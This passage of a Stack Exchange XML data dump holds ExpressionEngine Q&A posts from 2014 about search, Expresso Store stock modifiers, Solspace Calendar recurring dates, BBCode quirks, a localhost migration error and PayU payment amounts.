Tags="|add-on|error|codeigniter|updating|core|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24151" PostTypeId="2" ParentId="24149" CreationDate="2014-07-02T17:24:10.013" Score="1" Body="&lt;p&gt;This could possibly be because of the minimum length of a search string. I'm not 100% certain but I think anything under 4 characters doesn't get indexed/searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it work for other 3 character strings?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-02T17:24:10.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24152" PostTypeId="1" AcceptedAnswerId="24154" CreationDate="2014-07-02T17:40:38.143" Score="0" ViewCount="44" Body="&lt;p&gt;Is it possible to parse through and display category names using the search function? So, beyond simple channel entries I mean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so (or if this requires some kind of add on) could you provide me with details? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it doing what I want for a client, but they may want to be able to look through the categories as well. The reason for this, is that they're selling certain brands and they'd like for potential customers to not only look through the product name ('Apple Green') but also the brand ('Bendel'). &lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2014-07-02T18:53:28.037" Title="search through category names using search function?" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24153" PostTypeId="2" ParentId="24103" CreationDate="2014-07-02T18:50:02.077" Score="5" Body="&lt;p&gt;Similar question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/22084/expresso-store-multiple-product-modifiers/22128#22128&quot;&gt;here&lt;/a&gt;, I left the teaser for the out of stock bit, but nobody picked up on it :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a plugin that pulls back all the options for multiple modifiers, you can then use JavaScript to query the information and change what options are available for each modifier. So when they select the colour, you can look at what trims are in stock and hide those not in stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;     {if &quot;{modifier_name}&quot; != &quot;&quot;}&#xA;         {if {exp:store_options:total entry_id=&quot;{entry_id}&quot; parse=&quot;inward&quot;} &amp;lt;= 1}&#xA;             &amp;lt;p&amp;gt;{modifier_name}: {modifier_options}{option_name} {/modifier_options}&amp;lt;/p&amp;gt;&#xA;                 &amp;lt;input type=&quot;hidden&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{modifier_options}{option_id}{/modifier_options}&quot;&amp;gt;&#xA;         {if:else}&#xA;             &amp;lt;label&amp;gt;&#xA;                 &amp;lt;select id=&quot;{modifier_name}&quot; name=&quot;{modifier_input_name}&quot; class=&quot;dropdown required&quot; tabindex=&quot;1&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;&quot;&amp;gt;-- Select {modifier_name} --&amp;lt;/option&amp;gt;&#xA;                    {modifier_options}&#xA;                        &amp;lt;option value=&quot;{option_id}&quot; {if &quot;{modifier_name}&quot; == &quot;Colour&quot;} itemprop=&quot;color&quot;{/if}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                    {/modifier_options}&#xA;                &amp;lt;/select&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/modifiers}&#xA;&#xA;&amp;lt;ol id=&quot;stock-lookup&quot;&amp;gt;&#xA;    {exp:store_options:all entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;li data-colour=&quot;{Colour}&quot; data-size=&quot;{Size}&quot; data-stock=&quot;{stock}&quot;&amp;gt;{if no_stock} (out of stock){/if}&amp;lt;/li&amp;gt;&#xA;    {/exp:store_options:all}&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above, I'm allowing 2 modifiers Colour and Size. The OL list #stock-lookup is a hidden element to store the lookup information I need - I expect this could be changed to a JavaScript array if preferred. For the select output I'm checking for a single option - I don't then want to show a select menu, but need to have a hidden field to pass with the form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the JavaScript function called upon changing either of the select boxes. $formElement being the JQuery object for the select they selected and &quot;Label&quot; being the value of the item selected - used for matching with the product options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function checkStockLabels($formElement, label) {&#xA;    //###   Update the [other] select box with only the available options (instead of all)    ###&#xA;    if ($formElement.attr(&quot;id&quot;) == &quot;Colour&quot;) {&#xA;        if ($(&quot;.product-desc #Size&quot;).length) {&#xA;            //###   Check the Size list to show message on unavailable options   ###&#xA;            $(&quot;#dk_container_Size li a span&quot;).remove(&quot;span&quot;);&#xA;            $('#stock-lookup li[data-colour=&quot;'+label+'&quot;]').each(function( index ) {&#xA;                sizeRef = $(&quot;#dk_container_Size li a:contains('&quot;+$(this).attr(&quot;data-size&quot;)+&quot;')&quot;).attr('data-dk-dropdown-value');&#xA;                $(&quot;#dk_container_Size li a:contains('&quot;+$(this).attr(&quot;data-size&quot;)+&quot;')&quot;).append('&amp;lt;span&amp;gt;'+$(this).html()+'&amp;lt;/span&amp;gt;');&#xA;                defaultLabel = $(&quot;#dk_container_Size .dk_options a:first&quot;).html();&#xA;                if ($(&quot;#dk_container_Size .dk_label&quot;).html() != defaultLabel || $(&quot;#dk_container_Size li a&quot;).length &amp;lt;= 2) {&#xA;                    $(&quot;#dk_container_Size li a[data-dk-dropdown-value='&quot;+sizeRef+&quot;']&quot;).click();&#xA;                }&#xA;            });&#xA;        }&#xA;&#xA;    } else if ($formElement.attr(&quot;id&quot;) == &quot;Size&quot;) {&#xA;        if ($(&quot;#Colour&quot;).length) {&#xA;            //###   Check the Colour list to show message on unavailable options   ###&#xA;            $(&quot;#dk_container_Colour li a span&quot;).remove(&quot;span&quot;);&#xA;            $('#stock-lookup li[data-size=&quot;'+label+'&quot;]').each(function( index ) {&#xA;                $(&quot;#dk_container_Colour li a:contains('&quot;+$(this).attr(&quot;data-colour&quot;)+&quot;')&quot;).append('&amp;lt;span&amp;gt;'+$(this).html()+'&amp;lt;/span&amp;gt;');&#xA;            });&#xA;        }&#xA;    }&#xA;}//###   End of checkStockLabels function   ###&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add to the confusion of JS code, I'm using DropKick as a Select skinning replacement. The spans are the inserted &quot;out of stock&quot; text - because child elements are not valid in a select - option, I'm solving this due to dropkick converting it to an li. But you would simply be removing the select option completely, so no need to insert the spans or remove them, or better still disable and hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more clarification, let me know and I'll expand upon the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine Expresso Store Options Plugin can be found &lt;a href=&quot;https://github.com/peteralewis/store_options&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Note: Not tested on latest Expresso Store version!&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-07-02T18:50:02.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24154" PostTypeId="2" ParentId="24152" CreationDate="2014-07-02T18:53:28.037" Score="0" Body="&lt;p&gt;Highly recommend &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; which extends EE's native searching and allows for category indexing (name, description or any custom category fields). Specific link to category documentation &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/collections#categories&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-07-02T18:53:28.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24155" PostTypeId="2" ParentId="24143" CreationDate="2014-07-02T20:31:44.903" Score="3" Body="&lt;p&gt;It's a BBCode problem: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/bbcode.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/bbcode.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty sure the issue here is the first [i] only, all subsequent [ii], [iii] should not be replaced as bbcode by EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dirty but effective method would be to change the very first instance of [i] to [&amp;amp;#105;] which is the html entity for the letter i.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a more elegant method using Low Replace but I think the parse order was doing its thing as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it gets you somewhere.&#xA;jfp&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2014-07-02T20:31:44.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24156" PostTypeId="1" AcceptedAnswerId="24165" CreationDate="2014-07-02T21:21:22.360" Score="0" ViewCount="306" Body="&lt;p&gt;I am running Solspace Calendar 1.8.9 on EE 2.8.1 and I am having an issue with recurring events not reflecting the next event date, but instead showing the first event date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: On this &lt;a href=&quot;http://opteracreative.com/~mac/calendar/category/33&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;, the first event is &quot;Southern Fried Comics...&quot; with a date of 7.7.2014. However, if you click on the title it takes you to the event &lt;a href=&quot;http://opteracreative.com/~mac/calendar/event/southern-fried-comics-late-bloomer-and-metaphasis&quot; rel=&quot;nofollow&quot;&gt;details page&lt;/a&gt; where the Date is displayed as July 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code on the first page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;                    date_range_start=&quot;today&quot; &#xA;                    orderby=&quot;event_start_date&quot; &#xA;                    category=&quot;{segment_3}&quot; &#xA;                    show_months=&quot;3&quot; &#xA;                    dynamic=&quot;off&quot; &#xA;                    event_limit=&quot;10&quot; &#xA;                    paginate=&quot;bottom&quot;&#xA;                    }&#xA;                            &amp;lt;div class=&quot;event-summary&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                                        &amp;lt;span class=&quot;event-title&quot;&amp;gt;&amp;lt;a href=&quot;{path='calendar/event'}/{event_url_title}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                        {exp:trunchtml chars=&quot;100&quot; inline=&quot;...&quot; }{event_summary}{/exp:trunchtml}&#xA;                                        &amp;lt;span class=&quot;local-time&quot;&amp;gt;{event_location} | {event_start_date format=&quot;%g:%i%a&quot;} | {contact_phone}&amp;lt;/span&amp;gt;&#xA;                                        &amp;lt;p class=&quot;learn-more&quot; &amp;gt;&amp;lt;a href=&quot;{path='calendar/event'}/{event_url_title}&quot;&amp;gt;Learn More &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&amp;lt;!-- end .details --&amp;gt;&#xA;&#xA;                                    &amp;lt;div class=&quot;date-details&quot;&amp;gt;&#xA;                                        &amp;lt;span class=&quot;month-day&quot;&amp;gt;{event_start_date format=&quot;%n.%j&quot;}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                        &amp;lt;span class=&quot;year&quot;&amp;gt;{event_start_date format=&quot;%Y&quot;}&amp;lt;/span&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;clearer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&amp;lt;!-- end .event-summary --&amp;gt;&#xA;&#xA;                                    {paginate}&#xA;                                        &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;                                            Page &amp;lt;span class=&quot;this-page&quot;&amp;gt;{current_page}&amp;lt;/span&amp;gt; of {total_pages} pages &amp;amp;nbsp; {pagination_links}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    {/paginate}&#xA;&#xA;{/exp:calendar:cal} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the code for the event page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events &#xA;                    limit=&quot;1&quot; &#xA;                    event_name=&quot;{segment_3}&quot;&#xA;                    dynamic=&quot;no&quot; }&#xA;                        &amp;lt;h3&amp;gt;{event_title}&amp;lt;/h3&amp;gt;&#xA;&#xA;                        &amp;lt;div id=&quot;event-details&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;h4&amp;gt;When:&amp;lt;/h4&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&#xA;                              {if event_recurs}&#xA;                                 {exp:calendar:date&#xA;                                    base_date=&quot;{segment_4}-{segment_5}-{segment_6}&quot;&#xA;                                    output_date=&quot;today&quot;&#xA;                                 }&#xA;                                    {date format=&quot;%l, %F %j&quot;} @ {event_start_date format=&quot;%g:%i%a&quot;}&#xA;                                 {/exp:calendar:date}&#xA;                              {if:else}&#xA;                                 {event_start_date format=&quot;%l, %F %j @ %g:%i%a&quot;}&#xA;                              {/if}&#xA;                           &amp;lt;/p&amp;gt;&#xA;&#xA;                            &amp;lt;h4&amp;gt;Location:&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{event_location}&#xA;                                {if event_address}&amp;lt;br /&amp;gt;&#xA;                                    {event_address}&#xA;                                {/if}&#xA;                            &amp;lt;/p&amp;gt;&#xA;&#xA;                            &amp;lt;h4&amp;gt;Admission:&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{admission}&amp;lt;/p&amp;gt;&#xA;&#xA;                            &amp;lt;h4&amp;gt;Contact&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{contact_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;                    {/exp:calendar:events}  &#xA;&#xA;                    &amp;lt;div id=&quot;more-events&quot;&amp;gt;&#xA;                                &amp;lt;h4&amp;gt;More Events&amp;lt;/h4&amp;gt;&#xA;&#xA;                        {exp:calendar:cal &#xA;                            calendar_id=&quot;11&quot; &#xA;                            date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;                            date_range_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;                            pad_short_weeks=&quot;n&quot;&#xA;                            event_limit=&quot;3&quot; &#xA;                            dynamic=&quot;off&quot;}&#xA;                            &amp;lt;div class=&quot;event-mini&quot;&amp;gt;&#xA;                                &amp;lt;span&amp;gt;{event_start_date format=&quot;%m.%d&quot;}&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='calendar/event'}/{event_id}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                             &amp;lt;div class=&quot;clearer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/exp:calendar:cal}&#xA;&#xA;                        &amp;lt;p  class=&quot;more-events&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}calendar/&quot;&amp;gt;{ More Events }&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- #more-events --&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- end #event-details --&amp;gt;&#xA;&#xA;                        &amp;lt;div id=&quot;event-full-description&quot;&amp;gt;&#xA;                        {exp:calendar:events orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;1&quot; event_name=&quot;{segment_3}&quot; date_range_start=&quot;today&quot; show_months=&quot;6&quot; dynamic=&quot;off&quot;}&#xA;                                {event_summary}&#xA;    {/exp:calendar:events}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I change the code so it reflects the correct date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-07-03T04:55:41.450" Title="Calendar - Shows event beginning date and not the current event date" Tags="|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24157" PostTypeId="1" CreationDate="2014-07-02T21:39:02.687" Score="1" ViewCount="162" Body="&lt;p&gt;I'm very new to EE (coming from a Wordpress background). I'm trying to make changes to an existing site without editing the live site. So I'm trying move the live site to my localhost (I'm running LAMP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything looks correct: Have a fresh dump of the database on my local machine, it's connected to the DB, All of the files look correct, etc. But for some reason I either get at 403 Forbidden error or a 500 Internal Server error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a sneaky feeling that it's the Focus Lab .htaccess file that might be the culprit. Been googling and haven't been able to find a solution.&lt;/p&gt;&#xA;" OwnerUserId="3313" LastActivityDate="2014-07-02T21:39:02.687" Title="Focus Lab Config 403 Forbidden Error. Moving site from production to localhost" Tags="|focus-lab-master-config|.htaccess|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24158" PostTypeId="1" AcceptedAnswerId="24160" CreationDate="2014-07-02T22:06:15.760" Score="0" ViewCount="67" Body="&lt;p&gt;Is it possible to put an if statement in the order confirmation email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like so?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if shipping_address2}{shipping_address2}&amp;lt;br /&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-07-02T23:03:33.000" Title="Expresso store add if statement to order confirmation email" Tags="|expresso-store|email|html-email|confirmation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24159" PostTypeId="2" ParentId="24156" CreationDate="2014-07-02T22:24:01.803" Score="0" Body="&lt;p&gt;You have to use the 'occurrences' tag within the loop to display the specific event occurrence that you want.&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/occurrences/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/occurrences/&lt;/a&gt;&#xA;Use event_range_start and event_range_end to select the proper occurence. The date value you're using in the above code is only for the date used on the first entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:occurrences&#xA;    date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;    date_range_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;    dynamic=&quot;off&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-07-02T22:24:01.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24160" PostTypeId="2" ParentId="24158" CreationDate="2014-07-02T23:03:33.000" Score="2" Body="&lt;p&gt;Yes you should be able to use most EE tags without issues in the Store email templates.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-02T23:03:33.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24161" PostTypeId="1" CreationDate="2014-07-02T23:26:25.040" Score="7" ViewCount="472" Body="&lt;p&gt;I have recently started to get the following error on a SafeCracker form in an ExpressionEngine v2.5.5 website.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: EE::$view&#xA;Filename: libraries/File_field.php&#xA;Line Number: 618&#xA;&#xA;Fatal error: Call to a member function head_link() on a non-object in /path/to/website/system/expressionengine/libraries/File_field.php on line 618&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other than standard text inputs, this form also references WYGWAM, P&amp;amp;T Checkboxes, P&amp;amp;T Dropdown, VZ URL and Safecracker File. The form has worked fine in the past, so not really sure what the heck is triggering this error now.&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="1527" LastEditDate="2014-09-22T17:57:24.373" LastActivityDate="2015-05-12T23:10:02.027" Title="Error: Undefined property: EE::$view in Filename: libraries/File_field.php (Line 618) EE v2.5.5" Tags="|safecracker|zoo-visitor|php-errors|safecracker-file|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24163" PostTypeId="1" AcceptedAnswerId="24242" CreationDate="2014-07-03T00:31:00.950" Score="0" ViewCount="174" Body="&lt;p&gt;I have the following tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;                orderby=&quot;date&quot;&#xA;                paginate=&quot;both&quot;&#xA;                limit=&quot;20&quot;&#xA;&#xA;            }&#xA;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p&amp;gt;{if excerpt}{excerpt}{if:else}No excerpt available.{/if}&amp;lt;/p&amp;gt;&#xA;&#xA;                 ....&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the correct excerpt field selected in the channel settings, cleared the cache, reindexed, etc. Still nothing appearing here. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-07-08T02:45:20.800" Title="Solspace super search excerpt not working" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24165" PostTypeId="2" ParentId="24156" CreationDate="2014-07-03T04:55:41.450" Score="0" Body="&lt;p&gt;Use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; for your details page. This is the tag that will display only the occurrences of an event within the timeframe set in &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; (also add &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building an events detail page with a specific date &quot;zoomed in&quot; has been answered in another thread, with the full solution posted here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12754/get-solspace-calendar-occurences-sorted-by-date/12824#12824&quot;&gt;Get (Solspace) calendar occurences sorted by date&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I believe &lt;em&gt;ExpressionEngine® Answers&lt;/em&gt; doesn't like links to solutions and prefers full inline answers. If that's necessary, I can post the same answer from that thread here.)&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-07-03T04:55:41.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24166" PostTypeId="1" AcceptedAnswerId="24171" CreationDate="2014-07-03T07:10:21.913" Score="0" ViewCount="55" Body="&lt;p&gt;This is the first time I am getting this error. I am currently using PayU as payment gateway and integrated this by using Omnipay in expresso store in my EE2 project. In my request object that I need to send to PayU I need to times the amount by 100 to convert this into cents and I am doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I get is: &lt;code&gt;{&quot;store_payment_error&quot;:&quot;Amount is invalid. Amount must be in cents&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this error when I had an order amount of R22 293.36. Is this too big an amount for the gateway or store to handle? I am sure this shouldn't be the problem? I have over 200 orders that I tested already, but the first time I am getting this error?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="3170" LastEditDate="2014-07-03T08:55:38.913" LastActivityDate="2014-07-03T11:49:29.100" Title="Amount Is Invalid. Amount Must Be In Cents" Tags="|expresso-store|ee2|payment-gateway|omnipay|payu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24167" PostTypeId="1" CreationDate="2014-07-03T08:30:11.600" Score="1" ViewCount="77" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://objectivehtml.com/postmaster/features&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; to send notifications on a 'Cartthrob Abandonded Cart' however I have no idea how to trigger an abandoned cart to test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what steps are involved? Or what tables are checked etc?&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-10-28T12:17:07.173" Title="What determines an 'Abandoned cart' in CartThrob and PostMaster?" Tags="|cartthrob|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24169" PostTypeId="2" ParentId="24143" CreationDate="2014-07-03T10:13:07.767" Score="0" Body="&lt;p&gt;A common problem it seems &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19755/i-in-entry-text-interpreted-as-unclosed-bbcode-italics&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19755/i-in-entry-text-interpreted-as-unclosed-bbcode-italics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the extension that Derek posted but it has stopped all fields from rendering.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-07-03T10:13:07.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24170" PostTypeId="1" AcceptedAnswerId="25906" CreationDate="2014-07-03T11:08:12.947" Score="1" ViewCount="195" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; September 25, 2014: I reverted once, but now I'm trying again with an update to 2.9.0 and facing the same issue.  If anyone has any insight it would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt; I think I may have found the source of the issue.  It appears that a parallel install of the site used for QA, was interfering.  When I renamed the folder containing that site, the problem went away.  Now I need to track down why it was loading from the wrong place.  Perhaps a bug in my config_bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 3&lt;/strong&gt; The theme_folder_path variable is set to the location in one of the other installs, so that explains why it was loading incorrectly, now I need to figure out where in the blazes that is being set.  None of the usual suspects seem to have it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 4&lt;/strong&gt; I searched my entire database for what I could think of (probably serialized data, and I don't know where to look), and I searched all my configuration files and I couldn't find anywhere that &lt;code&gt;theme_folder_path&lt;/code&gt; was being set.  I tried saving an update in the control panel and the change held, so my best guess is that the wrong value was in the database somewhere.  I've now improved my config_bootstrap setup so that it should set the correct themes folder for each version of the site automatically.  Is there any way to see where config items shown in the control panel are being loaded from?  I will post an answer to the question that will hopefully help people with this issue in the future, and will probably award the bounty to Rob Sanchez who put the most effort into trying to help me.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I upgraded from 2.5.5 or thereabouts to 2.7.3 on my local environment some time ago.  After I got my relationship related addons, queries, and templates sorted out it all worked fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I finally got around to updating the production site, and after applying the above mentioned fixes the front end of the site works fine, but the back end has some issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On every page of the control panel I get an &lt;code&gt;TypeError: d.ee_focus is not a function&lt;/code&gt; error&lt;/li&gt;&#xA;&lt;li&gt;On entry form pages, the format buttons don't load and the image and write mode buttons don't work&lt;/li&gt;&#xA;&lt;li&gt;clicking on accessories pops me to the top of the window but accomplishes nothing else.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There were some permission errors during upload of the files for the new version of EE, but at this point I think I've reuploaded everything at least 3 or 4 times.  I suspected the themes folder, but have reuploaded from 2 different sources of 2.7.3 and nothing fixes it.  I've disabled pretty much all the addons I can without losing data and that hasn't fixed it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched the entire systems folder and themes folder for ee_focus and cannot find it.  I do find it in themes/javascript/compressed/jquery/plugins/ee_navigation.js from older versions, but not in 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the error coming from?  Is it causing all the other control panel strangeness?  Help me Obi Wan Kanobi, you're my only hope!&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-09-26T02:26:33.797" LastActivityDate="2014-09-26T02:41:50.130" Title="Please help me debug this 2.7.3 Upgrade. TypeError: d.ee_focus is not a function" Tags="|ee2|control-panel|2.7.3|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24171" PostTypeId="2" ParentId="24166" CreationDate="2014-07-03T11:49:29.100" Score="1" Body="&lt;p&gt;&lt;strong&gt;FIXED:&lt;/strong&gt; I am using the function &lt;code&gt;$this-&amp;gt;getAmountInteger();&lt;/code&gt; where I am building the request object to send the info over to the payment gateway and timed this by 100 to convert it into cents. &lt;strong&gt;BE AWARE&lt;/strong&gt; that this function already times the order/cart amount by 100, hence there is no need to have it as &lt;code&gt;$this-&amp;gt;getAmountInteger() * 100;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-03T11:49:29.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
